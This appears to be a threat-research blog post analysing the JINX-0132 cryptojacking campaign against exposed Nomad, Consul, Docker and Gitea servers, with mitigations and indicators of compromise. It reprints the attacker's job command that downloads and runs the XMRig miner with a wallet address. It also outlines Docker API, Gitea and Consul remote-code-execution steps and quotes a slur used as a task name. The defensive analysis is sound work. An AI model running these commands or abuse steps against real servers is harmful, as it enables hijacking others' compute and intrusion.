Intro
Wiz Threat Research has identified a broad cryptojacking campaign targeting publicly accessible DevOps web servers including exposed Nomad, Consul, Docker and Gitea applications. In the course of investigating this campaign, we observed attackers exploiting a range of known misconfigurations and vulnerabilities across various technologies to deploy their mining software.
Notably, this campaign marks what we believe to be the first publicly documented instance of Nomad misconfigurations being exploited as an attack vector in the wild. We have designated the threat actor responsible for these activities as JINX-0132.
Misconfiguration abuse by threat actors can often go under defenders’ radar, especially if the affected application isn’t well known as an attack vector. This was also the case when we initially identified “SeleniumGreed”, a campaign targeting exposed SeleniumGrid deployments. We recently elaborated on this important topic during a talk we gave at DistrictCon (recording available here).
A key characteristic of JINX-0132's methodology is the seemingly deliberate avoidance of any unique, traditional identifiers that could be used by defenders as Indicators of Compromise (IOCs). Instead of utilizing attacker-controlled servers for payload delivery, they download tools directly from public GitHub repositories. Furthermore, they rely on standard release versions of XMRig rather than custom malware. While their preference for operating strictly off-the-shelf and “living-off-open-source” does simplify some aspects of detecting their activity for defenders, it complicates other aspects and makes clustering the actor’s activity more challenging.
Another notable aspect of this campaign is the sheer compute power behind some of the compromised servers. For example, certain affected Nomad instances manage hundreds of clients, with combined CPU and RAM resources that would cost tens of thousands of dollars per month. This highlights how even large organizations with substantial budgets can still be vulnerable to basic misconfigurations.
What applications are being targeted?
The campaign appears to be targeting a wide range of technologies, but mainly the following four applications:
HashiCorp Nomad - a simple scheduler and orchestrator to deploy and manage containers and non-containerized applications across multiple platforms.
HashiCorp Consul - a service networking platform that connects and secures services across multiple platforms.
Docker API - the external API for the dockerd daemon, the persistent process that manages containers in hosts running Docker.
Gitea - a lightweight, self-hosted forge for Git repositories, serving as an open-source alternative to GitHub or GitLab.
Nomad
Nomad is a simple scheduler and orchestrator developed by HashiCorp to deploy and manage containers and non-containerized applications across multiple platforms. As mentioned in Nomad’s documentation, it is not secure-by-default. Correct configuration of the various security features that do exist in the platform is the user's responsibility:
A fundamental Nomad feature is its job queue, which allows users to submit tasks for execution by nodes registered with the Nomad server. By default—and critically, if not reconfigured by administrators—any user with access to the Nomad server API can create and run these jobs. This default configuration effectively means that unrestricted access to the server API can be tantamount to remote code execution (RCE) capabilities on the server itself and all connected nodes.
With access to an out-of-the-box, publicly exposed Nomad server API running without the security configuration recommended by HashiCorp, JINX-0132 abused this default behavior to create multiple new jobs on compromised hosts, each assigned a seemingly random name:
While the service names are always random, the threat actor has shown a preference for using slurs when naming the defined task group, and it remained the same in each case (NIGNOG
):
Every malicious job submitted by JINX-0132 contained a task with the following configuration:
"Config": {
"command": "sh",
"args": [
"-c",
"apt-get update -y ; sudo apt-get update -y ; apt-get install wget ; sudo apt-get install wget ; wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; sudo wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz ; cd xmrig-6.22.2 ; chmod 777 xmrig ; sudo chmod 777 xmrig ; ./xmrig -o pool.supportxmr.com:443 -u 468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E --tls --coin monero --cpu-max-threads-hint=90 -p {redacted}:4646"
]
}
This task configuration performs the following actions:
Downloads the most recent version of XMRig miner directly from its public GitHub repository.
Unpacks the downloaded archive.
Grants execution permissions to the XMRig binary.
Executes the miner, connecting to a public Monero mining pool (
pool.supportxmr.com
) while using an attacker-controlled wallet address (468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E
).
Note that this attack doesn't rely on any attacker-controlled servers or custom payloads; the only identifier unique to this attack is the wallet address, which the attacker can trivially replace in future instances of the campaign, making it a rather brittle IOC.
As mentioned in the documentation of Nomad’s security model, customers running Nomad (or other orchestrators) without enabling the appropriate security mechanisms in Nomad’s configuration should always be aware that it may be possible for an attacker to abuse access to the cluster and run malicious jobs. As with all vendor-recommended security practices, Nomad customers should tailor these security recommendations to the specific requirements of their environment in order to ensure a robust deployment.
Gitea
Gitea is a lightweight, self-hosted forge for Git repositories, an open-source alternative to GitHub or GitLab. We estimate that JINX-0132 achieves their initial foothold on the target host by exploiting a vulnerability or misconfiguration. We are unsure what method they used in each case, but there are several likely options, as we shall explain.
Older versions of Gitea can be susceptible to post-authentication remote code execution (RCE) due to an insecure default vulnerability (CVE-2020-14144), but there are multiple prerequisites for exploitation: in versions 1.1.0 through 1.12.5, the flag DISABLE_GIT_HOOKS
defaults to false
, so any user with permission to create git hooks can add a post-receive script that runs with Gitea’s OS privileges. Note that this vulnerability also affects Gogs (CVE-2020-15867), from which Gitea was forked.
Version 1.13 changed the default of DISABLE_GIT_HOOKS
to true
, but the risk can resurface if an admin manually overrides this setting and re-enables hooks. In either case, since exploitation is post-authentication, the vulnerability can only realistically be exploited for remote RCE if the attacker has either obtained access to an existing user with permission to create git hooks, or if they’re able to create a new user - assuming the instance has been configured to allow open registration - and all users have been auto-assigned permissions to create git hooks.
Additionally, the short-lived 1.4.0 release is affected by an unauthenticated RCE: a logic flaw lets a remote user write an LFS object without authentication, path-traverse to read ../../../custom/conf/app.ini
, forge an admin session, and then exploit the same hook mechanism for code execution. The bug was fixed in version 1.4.1, but wasn’t assigned a CVE.
A separate, independent risk arises if the installer remains unlocked (INSTALL_LOCK=false
), as anyone with access to the instance can simply re-run the installation wizard and overwrite the configuration, including resetting admin credentials.
In summary, publicly exposed instances of Gitea are vulnerable to RCE under any of the following conditions:
The attacker has access to an existing user with permission to create git hooks, or Gitea has been configured to allow open registration and all users have been auto-assigned permissions to create git hooks. Additionally, git hooks are either enabled by default (if running version 1.1.0 through 1.12.5) or enabled manually (in later versions).
Simply running version 1.4.0.
The installation page was left unlocked.
Consul
Consul is a service networking solution developed by HashiCorp that enables teams to manage secure network connectivity between services and across on-prem and multi-cloud environments and runtimes. Similarly to Nomad, a Consul server provides a control plane that enables users to register and query services deployed across multiple nodes, all registered with the central server.
As part of this operation, users with registration access can define health checks for each service which are simple checks to be performed on the nodes running the service that report the current health state of the service. A service health check can include a bash command that will be executed by the registered agent as demonstrated in this example:
By default, unless ACLs have been configured or security features provided by HashiCorp have been enabled, any user with remote access to the server can register services and health checks and abuse this functionality for remote code execution. HashiCorp offers thorough guidance on configuring these security features but, as demonstrated by this campaign and prior activity by actors such as DreamBus, misconfigurations do occur in the wild and are exploited by opportunistic actors.
In the campaign orchestrated by JINX-0132, they abused this capability to add malicious checks that, in practice, simply execute mining software. Much like their procedure for hijacking Nomad, JINX-0132 adds multiple services with seemingly random names whose real purpose was to download and run the XMRig payload:
The captured output logs from these services reveal that they are successfully mining cryptocurrency:
Consul customers should ensure that they have followed the abovementioned security guidance during installation, thereby preventing this capability from being abused by malicious actors to execute arbitrary code.
Docker API
The Docker Engine API is the REST HTTP interface the Docker CLI uses to communicate with the dockerd
daemon and perform actions such as build, run, stop or query containers. It allows performing every action the CLI can do just with an API call - typical endpoints include /containers/create
, /containers/{id}/start
, /exec/{id}/start and /image/create
. Abusing Docker API is a well-known attack vector. A single unauthenticated API call can spin up malicious containers or mount the host filesystem resulting in remote code execution with minimal effort.
By default, Docker only listens on its local Unix socket, but for convenience - whether it’s wiring up CI/CD pipelines, powering remote dashboards without SSH, or following quick-start guides - admins end up exposing tcp://0.0.0.0:2375 (or 2376).
This misconfiguration can be leveraged by attackers for remote code execution, as an exposed Docker API gives anyone who can reach it the same power as the root-owned Docker CLI. Attackers can create a container that mounts the host filesystem - POST to /containers/create
with "Binds":["/:/host"]
, then POST to /containers/{id}/start
, or launch a crypto-miner image by POSTing to /containers/create
, POSTing to /containers/{id}/start
, or droppng straight into an interactive shell via /exec
. Other than that, mounting the Docker socket inside a new container lets the attacker control Docker from inside the container too, pivoting to Kubernetes or other other hosts.
Wiz Research data: what’s the risk to cloud environments?
Based on Wiz data, 25% of all cloud environments have at least one of the above-mentioned technologies, with HashiCorp Consul being the most popular, running in over 20% of environments. This statistic excludes Docker, which exists in 80% percent of cloud environments. Of those environments using these DevOps tools, 5% expose them directly to the Internet, and among those exposed deployments, 30% are misconfigured.
A quick Shodan search shows that, combined, Consul and Nomad have thousands of exposed instances across the Internet, and filtering for cloud providers reveals hundreds that are deployed in AWS, Azure or GCP:
How can organizations defend themselves?
In order to avoid being targeted by this campaign or ones abusing similar misconfigurations, it is important to make sure to adhere to best practices when deploying the various applications mentioned in this article:
Nomad - Nomad has multiple security features as mentioned in the Security Model section of the official documentation. Correct implementation of the
ACLs
feature would have denied unauthenticated access to the Jobs feature, thereby preventing the attacker from being able to execute the malicious payload.Gitea - Keeping your public Gitea instances up-to-date is critical to prevent exploitation of the various RCE vulnerabilities mentioned in this article. Additionally, do not enable git hooks or leave the installation unlocked unless absolutely necessary.
Consul - Just like Nomad, Consul implements a multitude of security features all documented here in the Secure Consul section of the official documentation. For example, you should disable script checks by setting the `enable-script-checks` flag to `false`, and the HTTP API should be restricted to bind only to `localhost` wherever possible. These features would have prevented unauthorized access to the Services feature that enabled JINX-0132 to execute malicious payloads.
Docker API - The Docker API is meant to be an internal service, never accessible to unauthorized users. As mentioned in the official documentation, binding the Docker API to
0.0.0.0
can be exploited by attackers as seen in the activity mentioned in this blog, and simply not exposing the API to the Internet is the most effective mitigation.
How Can Wiz Help?
Prevention:
The Wiz Dynamic Scanner identifies publicly exposed instances of all the technologies mentioned in this blog post anywhere in your environment. In addition, it continuously checks for common misconfigurations that may introduce intrusion risks across these technologies.
Wiz customers can find any findings in their environment related to the abovementioned misconfigurations by viewing the Host Configuration page.
Moreover, Wiz also helps prioritize issues by identifying additional associated risks, such as whether a misconfigured resource has high privileges in your environment or exposes cloud keys that grant high privileges.
Detection:
The Wiz agentless workload scanner detects containers and VMs infected with malware used in this campaign and the Wiz Runtime Sensor detects events and behaviors associated with this threat and similar ones, with robust rules for crypto-miners like the ones used in this campaign.
Wiz customers can use the pre-built query and advisory in the Wiz Threat Center to search for impacted instances in their environment.
IOCs
The following indicators of compromise have been observed in this malicious activity:
XMRig hash (do note that this XMRig is the official 6.22.2 release, so it isn’t unique to JINX-0132):
ea7c97294f415dc8713ac8c280b3123da62f6e56
Monero wallet address:
468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E
Nomad Task Group definition name (as mentioned above, JINX-0132 uses slurs for definition names):
NIGNOG